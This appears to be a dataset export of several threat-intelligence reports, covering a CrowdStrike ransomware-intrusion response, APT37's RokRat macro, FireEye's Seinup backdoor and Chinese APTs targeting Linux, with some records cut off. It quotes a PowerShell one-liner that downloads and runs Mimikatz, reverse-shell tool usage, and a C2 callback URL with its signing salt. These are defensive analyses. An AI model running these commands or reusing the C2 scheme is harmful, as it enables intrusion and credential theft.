text
stringlengths
8
115k
# How Falcon Complete Stopped a Big Game Hunting Ransomware Attack **Falcon Complete Team** May 11, 2021 This blog describes a recent incident that highlights the CrowdStrike Falcon Complete™ team’s ability to act as an extension of a customer’s security team to quickly detect, triage, and contain an active attacker before it was able to achieve its goal. In this example, we outline how a fast, coordinated response by the Falcon Complete, Falcon OverWatch™, threat hunting, and CrowdStrike® Intelligence teams—over a holiday weekend—stopped a big game hunting ransomware actor in its tracks. This response methodology protects our customers 24/7/365 and delivers on the CrowdStrike promise: We stop breaches. ## The Initial Detection The CrowdStrike Falcon® agent identified that “a process attempted to download a file using bitsadmin in an unusual way,” which caused a “High” alert within the Falcon UI and the Falcon Complete team’s queue. The high severity quickly caught the attention of Falcon Complete, and after expanding the process tree within the Falcon UI, analysts’ suspicions of ongoing nefarious activities were raised. The team quickly identified initial reconnaissance commands, followed immediately by a pivot into a “living off the land” technique of abusing bitsadmin.exe to download an unknown file. (“Living off the land” is a well-known technique where threat actors use built-in features to slip under the radar of less sophisticated endpoint detection and response (EDR) solutions.) Spawning from wmiprvse.exe, which suggests WMI lateral movement, bitsadmin—an inbuilt Windows Administrator tool commonly used by threat actors to download files—was used to download the unknown file “cmk.ex” from a remote address via port 81 to C:\Users\Public\Pictures\cmk.ex. This file was then renamed, using the Windows tool “move,” to a Windows-recognized executable extension file “cmk.exe.” The use of port 81 and a non-standard executable extension, which was then locally renamed, was assessed to be an attempt to avoid detection by potential network intrusion detection systems. Once renamed, the file was executed with the command line “cmk.exe 1 <REMOTE IP> 80.” Utilizing unique strings appearing within the binary obtained via using the utility strings, Falcon Complete determined that the file was a custom-compiled, packed, and heavily obfuscated version of the tool TinyMet. ### TinyMet **Usage:** tinymet.exe [transport] LHOST LPORT Available transports are as follows: 0: reverse_tcp 1: reverse_http 2: reverse_https 3: bind_tcp At this stage, the Falcon Complete team was confident that this activity was not benign and began a quick and calculated remediative effort to remove the threat without causing an unnecessary negative business impact. Falcon Complete began by killing and remediating cmk.exe to ensure its added capabilities were not available to the threat actor. However, shortly after the removal of the cmk.exe file, Falcon blocked and alerted on a WMI lateral movement attempting to spawn and run a PowerShell downgrade attack followed by an attempted download and execution of the post-exploitation tool Mimikatz. ```powershell iex((new-object net.webclient).DownloadString('hxxps[://]raw[.]githubusercontent[.]com/PowerShellMafia/Mimikatz[.]ps1')) ``` At this point, Falcon Complete assessed that the risk posed to the host and the environment was too high to allow attempts to continue while investigating. Therefore, the preventive step of network containment was taken against the host. This denied all access to the host, other than via the Falcon platform, and gave Falcon Complete time to safely delve into the detection data. From here, Falcon Complete re-pivoted the investigation into the extensive investigation toolset within the Falcon UI—including User Search and Endpoint Activity Monitoring (EAM)—to gain further context and determine the origin of the activity. ## Finding Patient Zero As identified, WMI was being used to laterally move from another host, and Falcon Complete now began to dig to find Patient Zero and any files or commands that had been run on the host. The lightweight CrowdStrike Falcon agent provides a rich source of EDR telemetry that provides critical insights into the behavior of each endpoint. Our EAM application gives the Falcon Complete team and Falcon customers the ability to search this execution data in real time to quickly investigate and scope the extent of compromise for an incident. This telemetry, combined with pre-defined reporting in Falcon’s Investigate app, enabled the Falcon Complete team to identify compromised user accounts and the original source of the threat actor’s activity. During the investigation, Falcon OverWatch simultaneously pushed a detection to the Falcon Complete team for review—it involved additional lateral movement attempts from an IP that did not have the Falcon agent installed, leveraging PSExec to run reconnaissance commands on further hosts, and write a binary with the name “info.zip.” With the attacker methodology flagged by Falcon OverWatch, the Falcon Complete team was able to use specialized EAM searches to track the activity to a specific system on the network. ```plaintext event_simpleName=ProcessRollup2 (FileName=psexecsvc.exe OR FileName=wsmprovhost.exe) | stats values(FileName) AS Parent, values(CommandLine) AS ParentCmd by ComputerName TargetProcessId_decimal | join aid TargetProcessId_decimal [ search ProcessRollup2 | stats values(FileName) AS FileName, values(CommandLine) AS ChildCommand by ComputerName ParentProcessId_decimal | rename FilePath AS ChildPath | eval TargetProcessId_decimal=ParentProcessId_decimal ] ``` Armed with the origin system, it was possible to use Host Search in the Investigate app to identify the most recently logged-on user, which allowed a further pivot to User Search to identify where the compromised account had been used to log in to other systems via legitimate Windows means. Due to the telemetry available from the Falcon sensor in the environment, the “living off the land” attempt did not work. ```plaintext event_simpleName=UserLogon (LogonType_decimal="3" OR LogonType_decimal="10") | eval timestamp=(timestamp / 1000) | convert timeformat="%FT%H:%M:%S.%3N UTC" ctime(timestamp) AS timestamp_readable | stats count AS Count, min(timestamp_readable) AS "First Logon", max(timestamp_readable) AS "Last Logon", values(UserPrincipal) AS UserPrincipal by UserName, ComputerName | sort timestamp_readable ``` Because logon events are closely tracked by the Falcon agent, and we know that using tools such as PSExec and RDP (Remote Desktop Protocol) generate Type 3 or Type 10 logon events within the data collected by Falcon (and Windows event logs), we can use this knowledge and Falcon’s event data to more quickly obtain valuable information normally tracked in Windows logs. In this case, we can obtain the logon times, source network address, and username that are being used by the threat actor and use this information to inform actions taken by the Falcon Complete team, as well as those undertaken by the customer. Using the above query, the Falcon Complete team was able to build a complete picture of the compromised account within minutes and identify Patient Zero—the compromised system and user that was the source of the RDP logons and PSExec commands. Falcon Complete noted during the investigation that during nearly all of the lateral movement attempts by the threat actor, regardless of execution method, the parent process was WMIPrvSE.exe—the Windows binary responsible for executing remote WMI calls. A further query could be used to confirm our suspicions and ensure that Patient Zero was successfully identified. ```plaintext event_simpleName=WmiCreateProcess | eval timestamp=(timestamp / 1000) | convert timeformat="%FT%H:%M:%S.%3N UTC" ctime(timestamp) AS ExecutionTime | table ExecutionTime, ComputerName, RemoteAddressIP4, LocalAddressIP4, CommandLine | sort ExecutionTime ``` Armed with data confirming Patient Zero via several “living off the land” techniques leveraged by the threat actor, Falcon Complete was able to confidently assess the source of the intrusion, begin to implement policies that would slow the actor, and inform the customer of actions to be taken to fully remove the threat from the environment, such as installing the Falcon agent on the source host so that network containment and remediation could begin at the source. Because Falcon Complete sees a wide range of adversarial threats daily, we can develop queries such as those shown to enable fast triage and response to detections in situations where every minute matters. ## The Remediation In this case, the threat was an active hands-on-keyboard attack, and after non-business-disruptive remediation proved unsuccessful, Falcon Complete opted to network-contain hosts that the threat actor had access to. This led to five hosts being contained in the environment. Once contained, all artifacts, including executables and persistence, were remediated from the hosts. To ensure full remediation, actions that needed to be taken outside of the scope of the Falcon sensor were escalated to the customer: - Disabling of compromised account - Blocking threat actor infrastructure at perimeter firewalls - Installation of the Falcon sensor onto Patient Zero Due to this activity being both over a holiday weekend and after-hours for the customer, we did not receive immediate responses from our escalations. As a result, and to help contain the threat actor, Falcon Complete implemented a custom indicator of attack (IOA) that would detect, in real time, any connections from the unmanaged Patient Zero device or the command and control (C2) identified. This would allow immediate investigation and response before the threat actor could take any meaningful action on the newly accessed host. To further this custom IOA, all bespoke tools used by the threat actor were blocklisted in the Falcon UI. Once we received replies from the customer shortly thereafter, the customer was able to quickly install the Falcon sensor onto the unmanaged Patient Zero due to the Falcon platform’s lightweight, single agent architecture. Immediately, Falcon Complete began to use the Falcon Real Time Response (RTR) functionality to triage the host. With the intelligence and TTPs gained from the investigation, Falcon Complete was quickly able to pivot into the known locations the threat actor stored tools and data. Falcon Complete located a number of reconnaissance files, including lists of 50 internal IP addresses as well as bespoke scripts to build the toolset observed on the hosts previously remediated. Again, Falcon Complete remediated the malicious tools and threat-actor-gathered intelligence on this host. Once Patient Zero was remediated and the compromised account disabled, this instance of the threat could be considered successfully neutralized. ## CrowdStrike Intelligence Analysis Per the standard procedure of the Falcon Complete team, we provided the CrowdStrike Intelligence team with samples of the cmk.exe and info.zip files, as well as the network indicators identified during the investigation. Of interest to our investigation was that the Intelligence team identified that the staging IP address was also hosting an additional file on port 81 named 2.zip, which contained a binary identified as a known ransomware variant. While the CrowdStrike Intelligence team does not specifically attribute this attack to any named adversaries or any specific ransomware-as-a-service (RaaS) affiliate, the quick actions from the Falcon Complete team prevented this customer from almost certainly becoming a victim of a big game hunting ransomware operation. ## Summary Falcon Complete initially identified an executable download of TinyMet and the attempted execution of a TCP reverse shell within our customer’s environment. Using Process Explorer as well as EAM, we were able to identify multiple attempts at lateral movement from a host that did not have the Falcon sensor installed. Falcon Complete then used the Host Search functionality to identify the compromised user credentials before pivoting to User Search to identify where the compromised user account was being used for lateral movement. This allowed us to place those hosts into network containment, as well as block lateral movement attempts from the host without the Falcon sensor. We were able to block the threat actor’s malicious executables and stop them in their tracks. These quick actions protected our customer and almost certainly prevented them from falling victim to a ransom attempt. All of this malicious activity and the Falcon Complete team’s response and remediation happened over a holiday weekend, showing the importance of 24/7/365 security monitoring in a corporate environment and the power of partnering with CrowdStrike and Falcon Complete. The Falcon Complete team’s response methodology provides these kinds of results for our customers at all hours of every day to stop breaches. We look forward to sharing more case studies and providing some best practices for quick and effective incident response.
# Exclusive: Secret Trump Order Gives CIA More Powers to Launch Cyberattacks Zach Dorfman, Kim Zetter, Jenna McLaughlin, and Sean D. Naylor July 15, 2020 The Central Intelligence Agency has conducted a series of covert cyber operations against Iran and other
# Retrohunting APT37: North Korean APT Used VBA Self Decode Technique to Inject RokRat **Threat Intelligence Team** **January 6, 2021** **Authored by Hossein Jazi** On December 7, 2020, we identified a malicious document uploaded to VirusTotal, which was purporting to be a meeting request likely used to target the government of South Korea. The meeting date mentioned in the document was January 23, 2020, which aligns with the document compilation time of January 27, 2020, indicating that this attack took place almost a year ago. The file contains an embedded macro that uses a VBA self-decoding technique to decode itself within the memory spaces of Microsoft Office without writing to the disk. It then embeds a variant of the RokRat into Notepad. Based on the injected payload, we believe that this sample is associated with APT37. This North Korean group is also known as ScarCruft, Reaper, and Group123 and has been active since at least 2012, primarily targeting victims in South Korea. In the past, this APT has relied on Hangul Office documents (hwp files) to target victims, as it’s software that’s commonly used in South Korea. However, in this blog, we describe an interesting alternative method, delivered via self-decoding VBA Office files. To the best of our knowledge, this is a first for this APT group. ## Document Analysis The actor used the VBA self-decoding concept in its macro that was first introduced in 2016. A malicious macro is encoded within another that is then decoded and executed dynamically. We can consider this technique an unpacker stub, which is executed upon opening the document. This unpacker stub unpacks the malicious macro and writes it into the memory of Microsoft Office without being written to disk. This can easily bypass several security mechanisms. Figure 3 shows the macro used by this document. This macro starts by calling the “ljojijbjs” function, and based on the results, will take different paths for execution. Microsoft by default disables the dynamic execution of the macro, and if an attacker needs to execute one dynamically—which is the case here—the threat actor needs to bypass the VB object model (VBOM) by modifying its registry value. To check if it can bypass the VBOM, it looks to see if the VBOM can be accessed or not. The “ljojijbjs” function is used for this purpose and checks read access to the VBProject.VBComponent. If it triggers an exception, it means the VBOM needs to be bypassed (IF clause). If there is no exception, it means the VBOM is already bypassed and VBA can extract its macro dynamically (Else clause). “fngjksnhokdnfd” is called with one parameter to bypass VBOM. This function sets the VBOM registry key to one. After bypassing VBOM, it calls another function which creates a Mutex in the victim’s machine by calling CreateMutexA API call and names it “mutexname”. This could be used by the actor to make sure it infects its victim only once, but in this document, we didn’t observe any evidence of checking the mutex. Finally, in order to perform the self-decoding process, it needs to open itself by creating a new Application object and load the current document in it in invisible mode. If VBOM is already bypassed, the function Init is called and generates the malicious macro content in obfuscated format. In the next step, this obfuscated macro is passed to “eviwbejfkaksd” to be de-obfuscated and then executed into memory. To de-obfuscate the macro, two string arrays have been defined: - **StringOriginal**: contains an array of characters before de-obfuscation - **StringEncoded**: contains an array of characters after de-obfuscation A loop has been defined to de-obfuscate the macro. For each iteration, it takes a character in the obfuscated macro and looks for its index in StringEncoded. When it finds its index, it looks for its equivalent index in StringOriginal, takes that character from it, and adds it to the new macro. As an example, “gm* bf” as encoded macro will be decoded to “Option”. Following this process gives us the final macro that will be executed in the memory space of Microsoft Office. In order to execute this decoded macro, it creates a module and writes into it before calling its main function to execute the macro. The main function defines a shellcode in hex format and a target process which is Notepad.exe. Then, based on the OS version, it creates a Notepad.exe process and allocates memory within its address space using VirtualAlloc. It then writes the shellcode into the allocated memory using WriteProcessMemory. At the end, it calls CreateRemoteThread to execute the shellcode within the address space of Notepad.exe. ## Shellcode Analysis (RokRat) The shellcode injected into Notepad.exe downloads an encrypted payload from a URL that is redirected to a Google Drive link. The downloaded payload is a variant of a cloud-based RAT known as RokRat, which has been used by this group since 2017. This sample compilation date is October 29, 2019. This RAT is known to steal data from a victim’s machine and send it to cloud services (Pcloud, Dropbox, Box, Yandex). Similar to its previous variants, it uses several anti-analysis techniques to make sure it is not running in an analysis environment. Here are some of the checks: - Checking the DLLs related to iDefense SysAnalyzer, Microsoft Debugging DLL, and Sandboxies - Calling IsDebuggerPresent and GetTickCount to identify a debugger - Checking VMWare related files This RAT has the following capabilities: - Capture Screenshots - Gather system info (Username, Computer name, BIOS) - Data exfiltration to cloud services - Stealing credentials - File and directory management For more detailed analysis of this RAT, you can refer to the reports from NCC Group and Cisco Talos. ## Conclusion The primary initial infection vector used by APT37 is spear phishing, in which the actor sends an email to a target that is weaponized with a malicious document. The case we analyzed is one of the few where they did not use Hwp files (Hangul Office) as their phishing documents and instead used Microsoft Office documents weaponized with a self-decode macro. That technique is a clever choice that can bypass several static detection mechanisms and hide the main intent of a malicious document. The final payload used by this threat actor is a known custom RAT (RokRat) that the group has used in previous campaigns. In the past, RokRat has been injected into cmd.exe, whereas here they chose Notepad.exe. ## Indicators of Compromise **Maldoc:** 3c59ad7c4426e8396369f084c35a2bd3f0caa3ba1d1a91794153507210a77c90 **RokRat:** 676AE680967410E0F245DF0B6163005D8799C84E2F8F87BAD6B5E30295554E08 A42844FC9CB7F80CA49726B3589700FA47BDACF787202D0461C753E7C73CFD2A 2A253C2AA1DB3F809C86F410E4BD21F680B7235D951567F24D614D8E4D041576 C7CCD2AEE0BDDAF0E6C8F68EDBA14064E4A9948981231491A87A277E0047C0CB
# Trojan.APT.Seinup Hitting ASEAN ## 1. Executive Summary The FireEye research team has recently identified a number of spear phishing activities targeting Asia and ASEAN. One of the spear phishing documents was suspected to have used a potentially stolen document as a decoy. The rich and contextual details (body and metadata) which are not available online lead us to believe this was stolen. This decoy document mentioned countries such as Brunei, Cambodia, Indonesia, Laos, Malaysia, Myanmar, Philippines, Singapore, Thailand, and Vietnam, which leads us to suspect that these countries are targeted. As the content of this decoy document is suspected to be a stolen sensitive document, the details will not be published. This malware was found to have used a number of advanced techniques which makes it interesting: 1. The malware leverages Google Docs to perform redirection to evade callback detection. This technique was also found in the malware dubbed “Backdoor.Makadocs” reported by Takashi Katsuki (Katsuki, 2012). 2. It is heavily equipped with a variety of cryptographic functions to perform some of its functions securely. 3. The malicious DLL is manually loaded into memory which hides from DLL listing. As depicted in the diagram below, the spear phishing document (which exploits CVE-2012-0158) creates a decoy document and a malware dropper named exp1ore.exe. This dropper will then drop wab.exe (Address Book Application) and wab32res.dll (malicious DLL) inside the temp folder. By running wab.exe, the malicious DLL named wab32res.dll (located within the same folder) will be loaded using DLL side-loading technique. This will in turn install a copy of wab32res.dll as msnetrsvw.exe inside the windows directory to be registered as Windows service. By registering as a Windows service, it allows the malware to survive every reboot and persist on the network. This malware is named “Trojan.APT.Seinup” because one of its export functions is named “seinup”. This malware was analyzed to be a backdoor that allows the attacker to remote control the infected system. ## 2. Related APT Domain and MD5 Based on our threat intelligence and reverse-engineering effort, below are some related domains and MD5 sums. Please note that some of the domain/IP associations may change. ### 2.1. Related Domain | Domain/URL | IP | Country | Comments | |--------------------------|---------------------|---------|----------------------------------------------------------------------------------------------| | elizabearden.com | 124.172.243.211 | CN | Registrar: XIN NET TECHNOLOGY CORPORATION Email: [email protected] | | | 50.117.115.83 | | | | dnsserviceonline.com | 50.117.115.84 | CN | Registrar: XIN NET TECHNOLOGY CORPORATION Email: [email protected] | | | 50.117.120.235 | | | | | 69.46.84.51 | | | | symteconline.com | 175.100.206.183 | CN | Registrar: XIN NET TECHNOLOGY CORPORATION Email: [email protected] | | winshell.net | 58.64.190.34 | HK | Registrar: SHANGHAI MEICHENG TECHNOLOGY INFORMATION DEVELOPMENT CO., LTD. Email: [email protected] | | philnewsonline.com | 50.93.198.128 | US | Registrar: GODADDY.COM, LLC Email: [email protected] | | www.info-week.com | 173.254.197.213 | US | Registrar: GODADDY.COM, LLC Email: [email protected] | | go-twitter.com | 50.93.198.113 | US | Registrar: GODADDY.COM, LLC Email: [email protected] | ### 2.2. Associated Files | Name | MD5 | Comments | |-----------------------------------------------|---------------------------------------|----------------------------------------------------------------------------------------------| | Spear-phishing document and decoy document | CONFIDENTIAL | CONFIDENTIAL | | iexp1ore.exe | 137F3D11559E9D986D510AF34CB61FBC | Dropper | | wab.exe | CE67AAA163A4915BA408B2C1D5CCC7CC | Benign Address Book Application | | wab32res.dll | FB2FA42F052D0A86CBDCE03F5C46DD4D | Malware to be side loaded when wab.exe is launched. | | msnetrsvw.exe | FB2FA42F052D0A86CBDCE03F5C46DD4D | Malware to be installed as a service. Note: This is the same as wab32res.dll. | | | baf227a9f0b21e710c65d01f2ab01244 | Calls to www.elizabearden.com:80 | | | 0845f03d669e24144df785ee54f6ad74 | Calls to www.dnsserviceonline.com:80 | | | d64a22ea3accc712aebaa047ab818b07 | Calls to www.elizabearden.com:80 | | | 56e6c27f9952e79d57d0b32d16c26811 | Calls to www.elizabearden.com:80 | | | cdd969121a2e755ef3dc1a7bf7f18b24 | Calls to www.elizabearden.com:80 | | | 709c71c128a876b73d034cde5e3ec1d3 | Calls to www.dnsserviceonline.com:80 | ## 3. Interesting Technical Observations ### 3.1. Redirection Using Google Docs By connecting the malicious server via Google Docs, the malicious communication is protected by the legitimate SSL provided by Google Docs. One possible way to examine the SSL traffic is to make use of a hardware SSL decrypter within an organization. Alternatively, you may want to examine the usage pattern of the users. Suppose a particular user accesses Google Docs multiple times a day, the organization’s Incident Response team may want to dig deeper to find out if the traffic is triggered by a human or by malware. Below is the code that is used to construct a URL that retrieves command via Google Docs. First, the malicious URL is constructed and then encoded. Next, the malware simply leverages the Google Docs viewer to retrieve the command from the malicious server. ### 3.2. Zero-Skipping XOR Encryption The shellcode encryption technique is fairly standard. The shellcode has a decryption stub which decrypts its body using the XOR key 0x9E, and this shellcode is used to extract exp1ore.exe (malware) and Wor.doc (benign document). The exp1ore.exe and Wor.doc were found within the spear phishing document encrypted using the same key (0xFC) and technique. The XOR key decrypts only a non-zero byte. This prevents statistical methods of recovering the XOR key. The encrypted executable file and benign document were identified to be located inside the spear phishing document at offsets 0×2509 and 0×43509 respectively. Even though statistical methods may not be useful in identifying the XOR key as the zero bytes are not encrypted, we could use some of the “known” strings below to hunt for the XOR key in this situation: - “This program cannot be run in DOS mode” - “KERNEL32.dll” - “LoadLibraryA” ### 3.3. Deployment of Various Cryptographic Functions #### 3.3.1. Secure Callback The malware performs the callback in a secure manner. It uses a custom Base64 map to encode its data and creates a salted digital thumbprint to allow validation of data. Below describes the steps to validate a callback using an example of the following URL: ``` hxxp://www.elizabearden.com/waterphp/BYyH.php?dEIXozUlFzx=5P&wDq=6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6S+w8npH5oAZk==&k4fJdSp7=cc3237bc79192a096440faca0fdae10&GvQF2lotIr5bT2= ``` The URL could be generalized as follows: ``` Domain/<PHP>?<rand 11-13 char>=<A’>&<rand 3-5 char>=<B’>&<rand 7-9 char>=<C’>&<rand 14-16 chars>=<D’> ``` The definition of A’, B’, C’ and D’ are as follows: - Let H be the function which encodes binary into hexadecimal characters prepend with “%”, if it is not alphanumeric, dash, underscore or dot. - Let B64 be the base 64 encoder using the following custom map, “URPBnCF1GuJwH2vbkLN6OQ/5S9TVxXKZaMc8defgiWjmo7pqrAstyz0D+El3I4hY”. - Let PT be the plain text which is in the form of “<HostName>[<RunType>]:<IPAddress>{1}”, where HostName and IPAddress are string, and RunType is a character. - Let A be the random of 3 to 7 characters, and A’ = H(A) - Let B be B64 (PT), and B’ = H(B) - Let C be 32 char delimiter, and C’ = H(C) - Let D be H(MD5(salt + MD5(B64(PT) + A + C))), salt = “%^^*HFH)*$FJK)234sd2N@C(JGl2z94cg23”, and D’ = H(D) Hence, in this case, the specific malicious URL could be applied as follows: - Domain/<PHP> = http://www.elizabearden.com/waterphp/BYyH.php - A’ = “5Pb” - B’ = “6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6S%2Bw8npH5oAZk==” - C’ = “cc3237bc79192a096440faca0fdae107” - D’ = “349118df672db38f9e65659874b60b27” (This is the digital signature) The hash could be verified as follows: ``` B64(PT) + A + C = “6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6S+w8npH5oAZk==” + “5Pb” + “cc3237bc79192a096440faca0fdae107” MD5(B64(PT) + A + C) = “766cf9e96c1a508c59f7ade1c50ecd28” MD5(salt + MD5(B64(PT) + A + C)) = MD5(“%^^*HFH)*$FJK)234sd2N@C(JGl2z94cg23” + “766cf9e96c1a508c59f7ade1c50ecd28”) = 349118df672db38f9e65659874b60b27 (This equals to D’, which means verified) ``` The encoded plain text (B) could be recovered: ``` B64(PT) = “6QeZky42OCQOLQuZ6dC2LQ7F56iAv6GpH6S+w8npH5oAZk==”; PT = “MY_COMPUTER_NAME[F]:192.168.1.1{1}”, where “MY_COMPUTER_NAME” is the hostname, ‘F’ is the run type, “192.168.1.1” is the IP address. ``` Note: This example is mocked up using a dummy computer name and IP address. The python code below could be used to decode the custom encoded string. #### 3.3.2. Random Generator Using Mersenne Twister Algorithm The malware was found to perform a callback at random intervals to evade network investigation when looking for network connections that are performed at regular intervals. Additionally, even the name of the parameters in the get string have a random length and name, which makes it hard to create a fixed signature to detect such callbacks. ### 3.4. In-Memory Only Malicious Code On the disk, the malicious code is either encrypted or compressed to evade scanning using signature rules. Only upon being loaded into memory, does the malicious code (that appears to be in the form of a DLL) get manually loaded without the use of Windows 32 API. In this way, when an investigation is performed, the malicious DLL is not revealed. Additionally, it makes it much harder for analysis to be performed. Taking a deeper look at the decrypted malicious code, this malware was found to contain at least the following functions: - Download file - Download and execute or load library - Change sleep duration - Open and close interactive sessions ## 4. Conclusion Malware is increasingly becoming more contextually advanced. It attempts to appear as much as possible like legitimate software or documents. In this example, we would conclude the following: 1. A potentially stolen document was used as a decoy document to increase its credibility. It is also a sign that the compromised organizations could be used as a soft target to compromise their business partners and allies. 2. It is important to put a stop to the malware infection at the very beginning, which is the exploitation phase. Once a network is compromised, it is increasingly harder to detect such threats. 3. Anti-incident response/forensic techniques are increasingly used to evade detection. It would require a keen eye on details and a wealth of experience to identify all these advanced techniques.
# Decade of the Cross-Platform APT Espionage Attacks Targeting Linux, Windows and Android ## Executive Summary The recent Chinese New Year ushered in the Year of the Rat, but from the perspective of intellectual property for the benefit of China. Attorney General Jeff Sessions noted “discoveries that took years of work and millions of dollars in investment here in the United States can be stolen by computer hackers or carried out the door by an employee in a matter of minutes…” (Department of Justice, 2018). As China forges its role as one of the great world powers, it continues to rely upon a blast furnace of cyber espionage operations to acquire foreign technologies and intellectual property, to better position itself against the global influence of competing international powers, and to control its own image both at home and abroad. In response to the pervasive economic espionage threat posed by China, the U.S. Department of Justice (DOJ) announced the China Initiative in November of 2018, a program “focused on preventing and prosecuting thefts of American technology and intellectual property.” Barr asserted that the DOJ believes these cyber operations are tied to the Chinese government. He said, “With respect to remote computer intrusions, for example, the [DOJ] indictment of APT 10 hackers in December 2018 outlined a global campaign, associated with the Chinese Ministry of State Security, targeting intellectual property and confidential business and technology information…” (Department of Justice, 2020). While Chinese IP theft is now a story old enough for the history books, there continue to be new chapters to add with new lessons to learn for security teams and the organizations they serve. In this report, BlackBerry researchers examine the activities of five related adversarial groups who have spent the better part of the last decade successfully targeting organizations in cross-platform attacks while operating relatively, if not entirely, undetected in multiple strategic and economic espionage operations. The report details how this quintet of threat actor groups have been focused on an often-overlooked platform: Linux servers that comprise the backbone of the majority of large data centers responsible for some of the most sensitive enterprise network operations. It further reveals the link between a previously unidentified Linux malware toolset and one of the largest Linux botnets ever discovered. The newly discovered Linux malware toolset included two kernel-level rootkits that rendered executables extremely difficult to detect, making it highly probable that the number of impacted organizations is significant and the duration of the infections lengthy. This report provides analysis of the attacks, the toolset, the rootkits, the other malware, and the infrastructure involved. The research also provides analysis of attacks designed to elude defenders through the use of Windows malware that uses adware code-signing certificates, a tactic that the attackers hope will increase infection rates as any red flags are dismissed as just another blip in a constant stream of adware alerts. This report examines multiple samples of malware accompanied by the adware code-signing certificates. ## Key Findings ### Strategic Intelligence Assessments: - **Targeting Linux**: Adversaries assessed to be acting in the interests of the Chinese government have strategically targeted Linux servers for years precisely because the Linux operating system is not typically a primary focus of security solutions. Defensive coverage within Linux environments is immature at best, and robust endpoint protection (EPP) and endpoint detection and response (EDR) products are often inadequately utilized or lack the capabilities to defend them. It was assessed that the groups examined in this report are using Linux servers as a “network beachhead” for other operations – that is, as a highly available attack vector that is always-on and poorly defended. - **APT Groups Coordinating**: Persistent threats rarely operate in a single domain, and the five groups assessed to be related to the APT originally identified as WINNTI GROUP in previously published research are no exception. Many of the techniques used in one operating environment have been readily translated for use in others. Cross-platform and open-source tools are more readily available now than ever, and the APT groups examined in this report have already exploited this fact. - **Objective Blending and Overlap**: BlackBerry researchers observed the continued blending of financially motivated and targeted espionage activity by the five groups under examination in this report. The more traditional criminal approaches to network exploitation are equally effective in their intelligence gathering as they are in generating revenue. Attacks that look like dragnet, “spray and pray” efforts can also yield targeted reconnaissance intelligence for other operations, and strategic platform and supply-chain compromises are becoming increasingly commonplace. ### Tactical Intelligence Assessments: - **The WINNTI Approach**: Five APT groups acting in the interest of the Chinese government and assessed to be employing WINNTI-style tooling have taken strategic aim at Linux servers that serve a critical role in enterprise network environments and have done so while remaining relatively undetected for nearly a decade. These groups target Red Hat Enterprise, CentOS, and Ubuntu Linux environments systemically across a wide array of industry verticals for the purposes of espionage and intellectual property theft. The APT groups examined include the original WINNTI GROUP, PASSCV, BRONZE UNION, CASPER (LEAD), and a newly identified group BlackBerry researchers are tracking as WLNXSPLINTER. All five groups are assessed to be related given the distinct similarities in their tools, tactics and procedures (TTPs) employed and referred to in this report as the WINNTI approach. - **The Linux Connection**: The APT groups examined in this report have traditionally pursued different objectives and focused on a wide array of targets. However, it was observed that there is a significant degree of coordination between these groups, particularly where targeting of Linux platforms is concerned, and it is assessed that any organization with a large Linux distribution should not assume they are outside of the target sets for any of these groups. - **Code Similarities**: A PASSCV Android implant examined in this report very closely resembles code marketed as the penetration testing tool NetWire for Android, yet the malware is shown to have been compiled nearly two years before the commercial NetWire tool was first made available for purchase. ## Why the Targeting of Linux Systems Matters Linux is arguably the most important yet least user-friendly operating system in the world. While most people are unlikely to be using it on their desktop at work or at home, Linux dominates the backend infrastructure of large modern data centers. Linux runs the stock exchanges in New York, London, and Tokyo, and nearly all the big tech and e-commerce giants are dependent on it, including the likes of Google, Yahoo, and Amazon. Most U.S. government agencies and the Department of Defense also rely heavily on the Linux operating system, and it runs virtually all of the top one million websites and 75% of all web servers (Netcraft, 2019). Linux powers 98% of the world’s most advanced supercomputers, and if you or your organization stores data in the cloud, you’ll find Linux running in the background more than 75% of the time (Linux Foundation, 2020). Given the open-source nature of Linux, it is generally considered to be more secure and require less maintenance, making it the ideal operating system for backend servers. Behind the scenes at government agencies, universities, and corporations around the world, you’ll find Linux on servers that house sensitive data as well as those that keep critical systems up and running. Linux keeps the lights on when the employees have all gone home for the night, which means servers running Linux are trusted to be always-on and always accessible. These qualities have made Linux the operating system of choice for many systems administrators – and also a strategic target for state-sponsored espionage operations. ## The Linux Advantage Linux servers, whether located on-premises or with a cloud provider, are an ideal and strategic target of espionage for several reasons: - Compromising Linux web servers allows for the exfiltration of massive amounts of data that can be obscured within the high volume of daily web traffic. - Compromising Linux database servers provides attackers a greater chance of finding valuable data like sensitive intellectual property, trade secrets, or lists of employee usernames and passwords relatively quickly. - Compromising Linux jump-boxes, aka bastion or proxy servers, erases a layer of protection typically relied upon by most corporate networks to separate internal networks from external threats. All three types of servers described above – web, database, and proxy – are designed to be “up” all the time, meaning the same benefits they provide system administrators (continuous, reliable network access) are also afforded to the attackers who compromise them, making them a perfect staging area from which to penetrate other areas of the network. What’s more, all the source code for the Linux distributions commonly seen in corporate and government environments, including Red Hat Enterprise, Ubuntu, and CentOS, is freely available to examine. This plays to one of an APT's key strengths: it allows knowledge of the operating system to be more readily exploited and for the tools designed to circumvent security to be more effective. ## Penguin Malware – A Relatively Rare Bird Before proceeding with a discussion of the findings, readers of this report may find it helpful to know something of the Linux threat landscape more generally for context: Groups associated with the state or state-sponsored efforts of at least three governments have been found to develop and deploy Linux malware: China, Russia, and the United States. A class of Linux malware called Derusbi has been known to be used by APT groups acting in the interest of China, including LEVIATHAN (APT40), DEEP PANDA, AXIOM, and APT41 (MITRE, 2017). In 2014, Kaspersky discovered that the Russian group TURLA was also deploying Linux malware (Baumgartner & Raiu, 2014), and another group Kaspersky identifies as THE EQUATION GROUP (generally thought to be the NSA) has also targeted Linux servers extensively. In May of 2019, researchers at Chronicle detailed several Linux implants believed to be associated with APT41 based on an examination of a network protocol similar to the DoubleDoor implants (Chronicle, 2019). The protocol used a single-byte incrementing XOR key for string obfuscation and employed an LKM rootkit based on the open-source “Azazel” project. However, in comparison to the volume of malware directed at Windows and MacOS operating systems, Linux malware is observed and written about much less often. This is reflective of its relatively low rate of detection and relatively low frequency of being encountered in incident response engagements. ## WINNTI Splinter Cell Targeting Linux BlackBerry researchers have assessed that there are at least five APT groups acting in the interest of the Chinese government which together comprise a “splinter cell” that targets enterprise Linux distributions, all of which are related to one another and to an APT identified in earlier research as WINNTI GROUP. For the first time, BlackBerry researchers have assessed that these groups are all sharing a previously unidentified Linux malware toolset referred to in this report as the WINNTILNX toolset. It should be noted that these groups have also been observed targeting other platforms as well, including Windows, Android, and MacOS. Four of these five groups are already known to the security community as PASSCV, BRONZE UNION (aka APT27, EMISSARY PANDA), a group tracked internally as 